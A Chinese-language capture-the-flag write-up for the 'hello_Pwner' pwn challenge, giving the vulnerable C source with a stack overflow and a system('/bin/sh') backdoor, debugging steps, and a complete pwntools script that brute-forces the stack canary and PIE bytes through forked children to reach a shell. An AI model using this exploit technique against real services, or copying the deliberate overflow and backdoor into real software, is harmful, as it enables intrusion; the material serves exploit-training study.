解题思路

hello_Pwner 题目下载

  1. Checksec后可以看到是64位保护全开,IDA打开分析反汇编代码

  2. vuln函数中的read读取数据时存在栈溢出,之后还可以看到程序中存在一个backdoor的后门函数,偏移地址位0xA33

  3. 先用gdb打开,分别在fork函数和read函数上下断点

  4. 当程序断到fork时,输入set follow-fork-mode child ,使当前gdb跟进程序子线程

  5. 之后直接c 输入完数据后,可以使用x /30gx $rsi x /1gx $rbp|x /1gx $rsi 分别确定用户输入的buf的地址到rbp的距离,也就是打印出整个栈空间,找到\x00结尾的数据,便是canary

  6. 写脚本爆破canary后,在利用vsyscall爆破backdoor的地址

  7. 利用vsyscall爆破时需要注意,与无fork函数创建子进程的程序写法不同,无需重新加载整个源程序。


源码编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//gcc hello.c -z now -fpie -pie -g -m64 -fstack-protector -o hello_Pwner

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>

void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

void backdoor(void) {
system("/bin/sh");
}

void vuln() {
char buf[100];
read(0,buf,200);
printf("%s",buf);
}

int main(void) {
init();
pid_t a;
while(1){
a = fork();
if(a<0){
break;
}else if(a){
wait(0);
}else{
puts("Hello,Pwner!");
vuln();
}
}

return 0;
}


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./hello_Pwner")
elf = ELF("./hello_Pwner")

### blasting_Canary
def canary_blasting(offset,input_prompt):
#偏移量,输入提示
sh.recvuntil(input_prompt+'\n')
canary = '\x00'
for k in range(7):
#因canary除去已知的\x00后还剩7字节,所以循环7次
for i in range(256):
# 每字节的值从256中间取
success("Canary ->"+canary)
log.info("------------- No." + str(k) + ":" + chr(i)+" -------------")
#gdb.attach(sh)
sh.send('A'*offset + canary + chr(i))
recv = sh.recvuntil(input_prompt+"\n")
if "stack smashing detected" in recv:
#
continue
else:
#当第K字节的值i传入栈后接受不到错误反馈则代表正确
canary += chr(i)
#将其加入已知的canary中,继续爆破下一位
success("Canary =>"+canary)
break
return canary

canary = canary_blasting(0x70-0x8,"Hello,Pwner!")
#RBP-RSI-Canary = 0x70-0x8

### blasting_PIE
last_2 = ["\x0a","\x1a","\x2a","\x3a","\x4a","\x5a","\x6a","\x7a","\x8a","\x9a","\xaa","\xba","\xca","\xda","\xea","\xfa"]
vsyscall = 0xffffffffff600000
#不需要查看要覆盖地址距离RBP的偏移距离,直接爆破得出
for k in range(200):
log.info("Blow up the end of PIE No."+str(k))
for i in last_2:
payload = "A"*(0x70-0x8) + canary
payload += p64(vsyscall)*k+"\x33"+i
try:
#gdb.attach(sh)
sh.send(payload)
recv = sh.recvline()
if "Hello" in recv :
continue
else:
sh.interactive()
break
except KeyboardInterrupt:
#当程序卡住不动时,CTRL+C八成就拿到shell了
sh.interactive()
except:
continue